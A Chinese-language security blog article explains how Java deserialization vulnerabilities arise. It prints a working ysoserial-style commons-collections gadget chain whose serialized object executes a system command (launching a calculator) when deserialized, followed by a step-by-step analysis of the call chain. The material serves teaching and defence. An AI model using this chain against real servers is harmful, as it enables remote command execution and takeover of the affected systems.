logo

信息安全之反序列化漏洞

作者:小门神2021.06.25 10:46浏览量:318

简介:信息安全之反序列化漏洞

我们都知道,Java 是一种高层级的语言。在 Java 中,你不需要直接操控内存,大部分的服务和组件都已经有了成熟的封装。除此之外,Java 是一种先编译再执行的语言,无法像 JavaScript 那样随时插入一段代码。因此,很多人会认为,Java 是一个安全的语言。如果使用 Java 开发服务,我们只需要考虑逻辑层的安全问题即可。但是,Java 真的这么安全吗?

2015 年,Java 曾被曝出一个严重的漏洞,很多经典的商业框架都因此受到影响,其中最知名的是WebLogic。据统计,在网络中公开的 WebLogic 服务有 3 万多个。其中,中国就有 1 万多个外网可访问的 WebLogic 服务。因此,WebLogic 的反序列化漏洞意味着,国内有 1 万多台服务器可能会被黑客攻陷,其影响的用户数量更是不可估量的。

你可能要说了,我实际工作中并没有遇到过反序列化漏洞啊。但是,你一定使用过一些序列化和反序列化的工具,比如 Fastjson 和 Jackson 等。如果你关注这些工具的版本更新,就会发现,这些版本更新中包含很多修复反序列化漏洞的改动。而了解反序列化漏洞,可以让你理解,Java 作为一种先打包后执行的语言,是如何被插入额外逻辑的;也能够让你对 Java 这门语言的安全性,有一个更全面的认知。

那么,到底什么是反序列化漏洞呢?它究竟会对 Java 的安全带来哪些冲击呢?遇到这些冲击,我们该怎么办呢?今天我就带你来了解反序列化漏洞,然后一起学习如何防护这样的攻击!

反序列化漏洞是如何产生的?

如果你是研发人员,工作中一定会涉及很多的序列化和反序列化操作。应用在输出某个数据的时候,将对象转化成字符串或者字节流,这就是序列化操作。那什么是反序列化呢?没错,我们把这个过程反过来,就是反序列化操作,也就是应用将字符串或者字节流变成对象。

序列化和反序列化有很多种实现方式。比如 Java 中的 Serializable 接口(或者 Python 中的 pickle)可以把应用中的对象转化为二进制的字节流,把字节流再还原为对象;还有 XML 和 JSON 这些跨平台的协议,可以把对象转化为带格式的文本,把文本再还原为对象。

那反序列化漏洞到底是怎么产生的呢?问题就出在把数据转化成对象的过程中。在这个过程中,应用需要根据数据的内容,去调用特定的方法。而黑客正是利用这个逻辑,在数据中嵌入自定义的代码(比如执行某个系统命令)。应用对数据进行反序列化的时候,会执行这段代码,从而使得黑客能够控制整个应用及服务器。这就是反序列化漏洞攻击的过程。

事实上,基本上所有语言都会涉及反序列化漏洞。其中,Java 因为使用范围比较广,本身体积也比较庞大, 所以被曝出的反序列化漏洞最多。下面,我就以 Java 中一个经典的反序列化漏洞 demo ysoserial 为基础,来介绍一个经典的反序列化漏洞案例,给你讲明白反序列化漏洞具体的产生过程,了解漏洞是怎么产生的。

最终的演示 demo 的代码如下所示。在 macOS 环境下运行这段代码,你就能够打开一个计算器。(在 Windows 环境下,将系统命令 open -a calculator 修改成 calc 即可。)注意,这里需要依赖 3.2.1 以下的 commons-collections,最新的版本已经对这个漏洞进行了修复,所以无法重现这个攻击的过程。

public class Deserialize {
    public static void main(String... args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchMethodException {
        Object evilObject = getEvilObject();
        byte[] serializedObject = serializeToByteArray(evilObject);
        deserializeFromByteArray(serializedObject);
    }


    public static Object getEvilObject() throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        String[] command = {"open -a calculator"};


        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        command
                )
        };


        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);


        String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
        final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
        Proxy evilProxy = (Proxy) Proxy.newProxyInstance(Deserialize.class.getClassLoader(), new Class[]{Map.class}, secondInvocationHandler);


        InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);


        return invocationHandlerToSerialize;
    }


    public static void deserializeAndDoNothing(byte[] byteArray) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArray));
        ois.readObject();
    }


    public static byte[] serializeToByteArray(Object object) throws IOException {
        ByteArrayOutputStream serializedObjectOutputContainer = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedObjectOutputContainer);
        objectOutputStream.writeObject(object);
        return serializedObjectOutputContainer.toByteArray();
    }


    public static Object deserializeFromByteArray(byte[] serializedObject) throws IOException, ClassNotFoundException {
        ByteArrayInputStream serializedObjectInputContainer = new ByteArrayInputStream(serializedObject);
        ObjectInputStream objectInputStream = new ObjectInputStream(serializedObjectInputContainer);
        InvocationHandler evilInvocationHandler = (InvocationHandler) objectInputStream.readObject();
        return evilInvocationHandler;
    }
}

下面我们来分析一下这段代码的逻辑。

在 Java 通过ObjectInputStream.readObject()进行反序列化操作的时候,ObjectInputStream 会根据序列化数据寻找对应的实现类(在 payload 中是sun.reflect.annotation.AnnotationInvocationHandler)。如果实现类存在,Java 就会调用其 readObject 方法。因此,AnnotationInvocationHandler.readObject方法在反序列化过程中会被调用。

AnnotationInvocationHandler在readObject的过程中会调用streamVals.entrySet()。其中,streamVals是AnnotationInvocationHandler构造函数中的第二个参数。这个参数可以在数据中进行指定。而黑客定义的是 Proxy 类,也就是说,黑客会让这个参数的实际值等于 Proxy。

Proxy 是动态代理,它会基于 Java 反射机制去动态实现代理类的功能。在 Java 中,调用一个 Proxy 类的 entrySet() 方法,实际上就是在调用InvocationHandler中的invoke方法。在 invoke 方法中,Java 又会调用memberValues.get(member)。其中,memberValues是AnnotationInvocationHandler构造函数中的第二个参数。

同样地,memberValues这个参数也能够在数据中进行指定,而这次黑客定义的就是 LazyMap 类。member 是方法名,也就是 entrySet。因此,我们最终会调用到LazyMap.get(“entrySet”)这个逻辑。

当 LazyMap 需要 get 某个参数的时候,如果之前没有获取过,则会调用ChainedTransformer.transform进行构造。

ChainedTransformer.transform会将我们构造的几个 InvokerTransformer 顺次执行。而在InvokerTransformer.transform中,它会通过反射的方法,顺次执行我们定义好的 Java 语句,最终调用Runtime.getRuntime().exec(“open -a calculator”)实现命令执行的功能。

好了,讲了这么多,不知道你理解了多少?这个过程的确比较烧脑。我带你再来总结一下,简单来说,其实就是以下 4 步:

1)黑客构造一个恶意的调用链(专业术语为 POP,Property Oriented Programming),并将其序列化成数据,然后发送给应用;
2)应用接收数据。大部分应用都有接收外部输入的地方,比如各种 HTTP 接口。而这个输入的数据就有可能是序列化数据;
3)应用进行反序列操作。收到数据后,应用尝试将数据构造成对象;
4)应用在反序列化过程中,会调用黑客构造的调用链,使得应用会执行黑客的任意命令。

那么,在这个反序列化的过程中,应用为什么会执行黑客构造的调用链呢?这是因为,反序列化的过程其实就是一个数据到对象的过程。在这个过程中,应用必须根据数据源去调用一些默认方法(比如构造函数和 Getter/Setter)。

除了这些方法,反序列化的过程中,还会涉及一些接口类或者基类(简单的如:Map、List 和 Object)。应用也必须根据数据源,去判断选择哪一个具体的接口实现类。也就是说,黑客可以控制反序列化过程中,应用要调用的接口实现类的默认方法。通过对不同接口类的默认方法进行组合,黑客就可以控制反序列化的调用过程,实现执行任意命令的功能。

参考链接:https://zhuanlan.zhihu.com/p/157591257

相关文章推荐

发表评论